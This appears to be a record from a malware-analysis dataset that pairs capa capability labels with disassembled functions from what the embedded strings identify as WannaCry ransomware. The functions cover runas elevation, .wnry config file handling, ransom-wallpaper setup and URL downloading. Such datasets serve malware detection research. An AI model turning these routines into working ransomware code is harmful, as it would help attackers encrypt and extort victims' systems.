joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4013c0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x412d00
push esi
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
test edi, edi
je 0x412eaa
push ebx
mov ebx, dword [esp + 0x10]
nop word [eax + eax]
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
sub byte [esi + ebx], 2
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x74
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
xor byte [esi + ebx], 0x27
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x33
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x8b
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
add esp, 0x44
push eax
call fcn.004013a7
add byte [esi + ebx], 0x86
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xd7
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x85
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xe1
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x71
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xac
add esp, 0x40
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x81
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
xor byte [esi + ebx], 0xc2
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x8c
push str.Protocol_of_Mind
push 0x5070b0
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 4
add esp, 0x30
inc esi
cmp esi, edi
jb 0x412d20
pop ebx
pop edi
pop esi
ret

Function at 0x4035da
Capabilities:
Terminate process

Disassembly:
jmp 0x451bc9
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x451bda
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00405907
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x40370b
Capabilities:
Query environment variable

Disassembly:
jmp 0x49b072
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x49b083
pop esi
ret
push ebx
push edi
push esi
call fcn.0049af59
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403fda
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x49b0ab
push ebx
push esi
push edi
call fcn.004056fa
add esp, 0xc
push 0
call fcn.00406244
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x42b4c8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x44ab8b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0044aa0a

Function at 0x44c23e
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0044befe
Function at 0x401a10
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x10]
test edi, edi
je 0x401a21
push 0x41fb84
jmp 0x401a26
push 0x41fda8
push str.c.wnry
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x401a6f
push esi
push 1
test edi, edi
push 0x30c
je 0x401a53
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.MSVCRT.dll_fread]
jmp 0x401a5e
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
test eax, eax
push esi
jne 0x401a74
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
pop edi
xor eax, eax
pop esi
ret
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, 1
pop edi
pop esi
ret

Function at 0x401a90
Capabilities:
Create process on windows
Terminate process

Disassembly:
sub esp, 0x54
push esi
push edi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
mov dword [esp + 0x18], 0x44
rep stosd dword es:[edi], eax
lea ecx, [esp + 8]
lea edx, [esp + 0x18]
xor esi, esi
push ecx
mov dword [esp + 0x10], eax
push edx
push esi
mov dword [esp + 0x1c], eax
push esi
push 0x8000000
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x74]
push esi
push esi
push esi
push eax
push esi
mov dword [esp + 0x30], esi
mov dword [esp + 0x6c], 1
mov word [esp + 0x70], si
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401b45
mov eax, dword [esp + 0x64]
cmp eax, esi
je 0x401b26
mov ecx, dword [esp + 8]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x401b12
mov edx, dword [esp + 8]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esp + 0x68]
cmp eax, esi
je 0x401b26
push eax
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ecx, dword [esp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 0xc]
push edx
call esi
pop edi
mov eax, 1
pop esi
add esp, 0x54
ret
pop edi
xor eax, eax
pop esi
add esp, 0x54
ret

Function at 0x401b50
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x3c
push edi
mov ecx, 0xe
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x44]
mov edx, dword [esp + 0x48]
mov dword [esp + 8], eax
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x14], ecx
neg eax
sbb eax, eax
lea ecx, [esp + 4]
and eax, 5
push ecx
mov dword [esp + 8], 0x3c
mov dword [esp + 0x1c], edx
mov dword [esp + 0x24], eax
mov dword [esp + 0x14], str.runas
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
dec eax
pop edi
neg eax
sbb eax, eax
inc eax
add esp, 0x3c
ret
Function at 0x401bb0
Capabilities:
Get token membership

Disassembly:
sub esp, 0x10
push ebx
lea eax, [esp + 8]
xor ebx, ebx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
lea ecx, [esp + 0x30]
push 2
push ecx
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], 5
mov dword [esp + 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x401bfb
pop ebx
add esp, 0x10
ret
mov eax, dword [esp + 8]
lea edx, [esp + 4]
push edx
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x401c14
mov dword [esp + 4], ebx
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [esp + 4]
pop ebx
add esp, 0x10
ret
Function at 0x4049b0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x415e48
push 0x413050
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 0x28], 0xffffffff
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 4], ebx
push ebx
push ebx
push 3
push ebx
push 1
push 0x80000000
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x28], edi
cmp edi, 0xffffffff
je 0x404ac1
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
mov dword [ebp - 0x24], esi
cmp esi, 0xffffffff
jne 0x404a25
push eax
lea edx, [ebp - 0x10]
push edx
jmp 0x404ac7
cmp esi, 0x19000
jbe 0x404a38
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
jmp 0x404ac7
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
mov dword [ebp - 0x20], ebx
test ebx, ebx
je 0x404ac1
push 0
lea edx, [ebp - 0x1c]
push edx
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x404a64
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
jmp 0x404ac7
mov ecx, dword [ebp + 0xc]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x1c]
push edx
push ebx
mov eax, dword [ebp + 8]
push eax
call dword [0x4217c4]
test eax, eax
push 0xffffffffffffffff
je 0x404ac3
lea edx, [ebp - 0x10]
push edx
call sub.MSVCRT.dll__local_unwind2
add esp, 8
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
push ecx
call sub.MSVCRT.dll__local_unwind2
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406ae0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push 0xffffffffffffffff
push 0x413e61
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x110
push esi
mov esi, ecx
push edi
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::CString_1
lea eax, [esp + 8]
lea ecx, [esi + 0x60]
push eax
mov dword [esp + 0x124], 0
call sub.MFC42.DLL_CWnd::GetWindowTextA
push str.msg_
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString_2
push str.m__s.wnry
lea ecx, [esp + 0x10]
push eax
push ecx
mov byte [esp + 0x12c], 1
call sub.MFC42.DLL_operator_2
mov edx, dword [esp + 8]
mov eax, dword [eax]
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push edx
push eax
lea eax, [esp + 0x1c]
push eax
call edi
add esp, 0xc
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x120], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x406bda
push str.msg_
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_2
push str.m__s.wnry
push eax
lea eax, [esp + 0x18]
mov byte [esp + 0x128], 2
push eax
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push 0x4210d0
lea ecx, [esp + 0x18]
push eax
push ecx
call edi
add esp, 0xc
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x120], 0
call sub.MFC42.DLL_CString::CString
lea edx, [esp + 0x14]
mov ecx, esi
push edx
call fcn.00406cf0
lea ecx, [esp + 8]
mov dword [esp + 0x120], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x118]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x11c
ret

Function at 0x406c20
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
sub esp, 0x34
push ebx
push esi
mov ebx, ecx
push edi
mov ecx, 0xc
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
lea ecx, [esp + 0xc]
push 0x32
and eax, 0xffff
push ecx
push 0x1001
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x406c81
mov edi, 0x4210d0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edx, dword [ebx + 0x80]
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
lea ecx, [esp + 0xc]
push ecx
push 0
push 0x158
push edx
call esi
cmp eax, 0xffffffff
jne 0x406cc1
mov eax, dword [ebx + 0x80]
push 0
push 0
push 0x14e
push eax
call esi
mov ecx, ebx
call fcn.00406ae0
pop edi
pop esi
pop ebx
add esp, 0x34
ret
mov edx, dword [ebx + 0x80]
lea ecx, [esp + 0xc]
push ecx
push 0
push 0x14d
push edx
call esi
mov ecx, ebx
call fcn.00406ae0
pop edi
pop esi
pop ebx
add esp, 0x34
ret
Function at 0x407e80
Capabilities:
Copy file
Get common file path

Disassembly:
sub esp, 0x618
mov dx, word [0x42179c]
push edi
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x20e]
mov word [esp + 0x20c], dx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 6]
mov word [esp + 4], dx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x416]
mov word [esp + 0x414], dx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x20c]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea ecx, [esp + 0x20c]
push ecx
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 4
test eax, eax
pop edi
jne 0x407f09
add esp, 0x618
ret
lea edx, [esp + 0x208]
push str._WanaDecryptor_.bmp
push edx
lea eax, [esp + 8]
push 0x4201a0
push eax
call dword [sym.imp.MSVCRT.dll_swprintf]
add esp, 0x10
lea ecx, [esp + 0x410]
push 0x103
push ecx
push 0xffffffffffffffff
push str.b.wnry
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea edx, [esp]
push 0
lea eax, [esp + 0x414]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea ecx, [esp]
push 1
push ecx
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
add esp, 0x618
ret

Function at 0x407f80
Capabilities:
Read file on windows

Disassembly:
sub esp, 0xbc
push ebp
push esi
mov ebp, ecx
push edi
mov ecx, 0xc
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov ecx, 0x21
xor eax, eax
lea edi, [esp + 0x44]
mov dword [esp + 0x40], 0
push 0x41fb84
push str.00000000.res
rep stosd dword es:[edi], eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x4080aa
push esi
push 1
lea eax, [esp + 0x48]
push 0x88
push eax
call dword [sym.imp.MSVCRT.dll_fread]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
lea ecx, [ebp + 0x74e]
lea edx, [ebp + 0x6ea]
push ecx
push edx
push str.s.wnry
call fcn.0040be90
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x60]
push eax
lea edi, [ebp + 0x5f0]
push 0x421244
push ecx
push edi
call fcn.0040c4f0
add esp, 0x30
mov esi, eax
call fcn.0040c670
cmp esi, 0xffffffff
jne 0x408046
lea edx, [esp + 0xc]
lea eax, [esp + 0x40]
push edx
push 0x421244
push eax
push edi
call fcn.0040c4f0
add esp, 0x10
mov esi, eax
call fcn.0040c670
cmp esi, 1
jne 0x4080aa
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0x1e
jb 0x4080aa
lea edi, [esp + 0xc]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0x32
jae 0x4080aa
lea edi, [esp + 0xc]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp + 0x5be]
mov eax, ecx
mov esi, edi
mov edi, edx
add ebp, 0x50c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
call fcn.00401a10
add esp, 8
pop edi
pop esi
pop ebp
add esp, 0xbc
ret
Function at 0x4080c0
Capabilities:
Enumerate files on windows
Read file on windows

Disassembly:
sub esp, 0x710
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov ecx, 0x21
xor eax, eax
lea edi, [esp + 0x24]
rep stosd dword es:[edi], eax
mov al, byte [0x421798]
mov ecx, 0xf9
mov byte [esp + 0x338], al
xor eax, eax
lea edi, [esp + 0x339]
mov dword [esp + 0x10], esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x130]
mov dword [esp + 0x14], 0
push ecx
push str..res
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x1c], eax
je 0x40820a
mov ebp, dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
test byte [esp + 0x130], 0x10
jne 0x4081e4
lea edi, [esp + 0x15c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0xc
jne 0x4081e4
lea edx, [esp + 0x18]
lea eax, [esp + 0x15c]
push edx
push str._08X.res
push eax
call dword [sym.imp.MSVCRT.dll_sscanf]
add esp, 0xc
cmp eax, 1
jl 0x4081e4
lea ecx, [esp + 0x15c]
push 0x41fb84
push ecx
call ebp
mov esi, eax
add esp, 8
test esi, esi
je 0x4081e4
push esi
push 1
lea edx, [esp + 0xb0]
push 0x88
push edx
call ebx
add esp, 0x10
cmp eax, 1
jne 0x4081bd
mov eax, dword [esp + 0xb0]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
jne 0x4081bd
inc dword [esp + 0x14]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0xb4]
add esp, 4
test eax, eax
jne 0x4081e4
mov ecx, 0x22
lea esi, [esp + 0xa8]
lea edi, [esp + 0x20]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x1c]
lea ecx, [esp + 0x130]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x408130
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0xa4]
mov ecx, dword [esp + 0xa0]
push edx
mov edx, dword [esp + 0xa0]
push eax
push ecx
mov ecx, dword [esp + 0xa4]
lea eax, [esp + 0x27c]
push edx
push eax
push ecx
call fcn.00401e30
add esp, 8
lea edx, [esp + 0x2e4]
push eax
mov eax, dword [esp + 0x94]
push edx
push eax
call fcn.00401e30
add esp, 8
lea ecx, [esp + 0x34c]
push eax
push str.____t_s_t_s_t_d_t_I64d_t_d
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x20
lea edx, [esp + 0x338]
push 0
push ecx
mov ecx, esp
mov dword [esp + 0x18], esp
push edx
call sub.MFC42.DLL_CString::CString_2
mov ecx, esi
call fcn.004082c0
cmp eax, 0xffffffff
jne 0x4082ae
push 0
push ecx
lea eax, [esp + 0x340]
mov ecx, esp
mov dword [esp + 0x18], esp
push eax
call sub.MFC42.DLL_CString::CString_2
mov ecx, esi
call fcn.004082c0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x710
ret
Function at 0x408b40
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x41407b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
mov dword [esi], 0x4166e0
mov eax, dword [esi + 0x30]
xor ebp, ebp
cmp eax, ebp
mov dword [esp + 0x1c], 1
je 0x408bd0
mov edx, dword [esi + 0x24]
mov eax, dword [esi + 0x2c]
mov edi, dword [esi + 0x20]
mov ecx, edx
push ebx
sub eax, ecx
mov ecx, dword [esi + 0x28]
mov ebx, edi
sub ecx, ebx
mov ebx, dword [esi + 0x1c]
cmp esi, ebp
je 0x408b97
mov ebp, dword [esi + 4]
push 0xcc0020
push edx
push edi
push ebp
push eax
mov eax, dword [ebx + 4]
push ecx
push edx
push edi
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esi + 0x18]
pop ebx
test eax, eax
jne 0x408bc1
mov ecx, dword [esi + 4]
push eax
push ecx
call sub.MFC42.DLL_CDC::SelectGdiObject
jmp 0x408bd6
mov eax, dword [eax + 4]
mov ecx, dword [esi + 4]
push eax
push ecx
call sub.MFC42.DLL_CDC::SelectGdiObject
jmp 0x408bd6
mov dword [esi + 8], ebp
mov dword [esi + 4], ebp
lea edi, [esi + 0x10]
mov dword [esp + 0x10], edi
mov dword [edi], 0x415c00
mov ecx, edi
mov byte [esp + 0x1c], 2
call sub.MFC42.DLL_CGdiObject::DeleteObject
mov ecx, esi
mov dword [edi], 0x415bec
mov dword [esp + 0x1c], 0xffffffff
call fcn.00412e3c
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x40b620
Capabilities:
Hide graphical window
Terminate process

Disassembly:
mov eax, dword [esp + 4]
push esi
push eax
push 0
call dword [sym.imp.USER32.dll_FindWindowW]
mov esi, eax
test esi, esi
je 0x40b68f
push edi
push 5
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
mov edi, dword [sym.imp.USER32.dll_SetWindowPos]
push 0x43
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push esi
call edi
push 0x43
push 0
push 0
push 0
push 0
push 0xfffffffffffffffe
push esi
call edi
push esi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push esi
call dword [sym.imp.USER32.dll_SetFocus]
push esi
call dword [sym.imp.USER32.dll_SetActiveWindow]
push esi
call dword [sym.imp.USER32.dll_BringWindowToTop]
mov eax, dword [esp + 0x10]
pop edi
test eax, eax
je 0x40b68f
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
ret

Function at 0x40b6a0
Capabilities:
Create directory
Delete file

Disassembly:
sub esp, 0x334
push ebx
push ebp
mov ebp, dword [esp + 0x340]
push esi
push edi
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, dword [esp + 0x350]
mov esi, dword [esp + 0x34c]
push eax
push esi
call fcn.00412920
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x40b6ec
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x334
ret
mov ecx, 0x4a
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 0
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x10]
push ecx
push 0xffffffffffffffff
push ebx
call fcn.00412940
mov edi, dword [esp + 0x1c]
add esp, 0xc
test edi, edi
jg 0x40b726
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x334
ret
xor esi, esi
test edi, edi
jle 0x40b76a
lea edx, [esp + 0x10]
push edx
push esi
push ebx
call fcn.00412940
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x13c]
push eax
push ebp
push 0x4214d4
push ecx
call sub.MSVCRT.dll_sprintf
lea edx, [esp + 0x14c]
push edx
push esi
push ebx
call fcn.004129e0
add esp, 0x1c
inc esi
cmp esi, edi
jl 0x40b72c
push ebx
call fcn.00412a00
add esp, 4
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x334
ret
Function at 0x40b780
Capabilities:
Create directory
Delete file
Download url
Get common file path
Receive data

Disassembly:
sub esp, 0x104
push ebx
mov ebx, dword [esp + 0x10c]
push esi
push edi
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, dword [esp + 0x118]
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x40b81b
mov al, byte [0x421798]
mov ecx, 0x40
mov byte [esp + 0xc], al
xor eax, eax
lea edi, [esp + 0xd]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
stosw word es:[edi], ax
push ecx
push 0
push 0x4214dc
push ebx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push esi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0
lea edx, [esp + 0x10]
push 0
push edx
push esi
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jne 0x40b810
mov ecx, dword [esp + 0x11c]
lea edx, [esp + 0xc]
push ecx
push edx
push ebx
call fcn.0040b6a0
add esp, 0xc
test al, al
jne 0x40b827
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
xor al, al
pop ebx
add esp, 0x104
ret
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
mov al, 1
pop ebx
add esp, 0x104
ret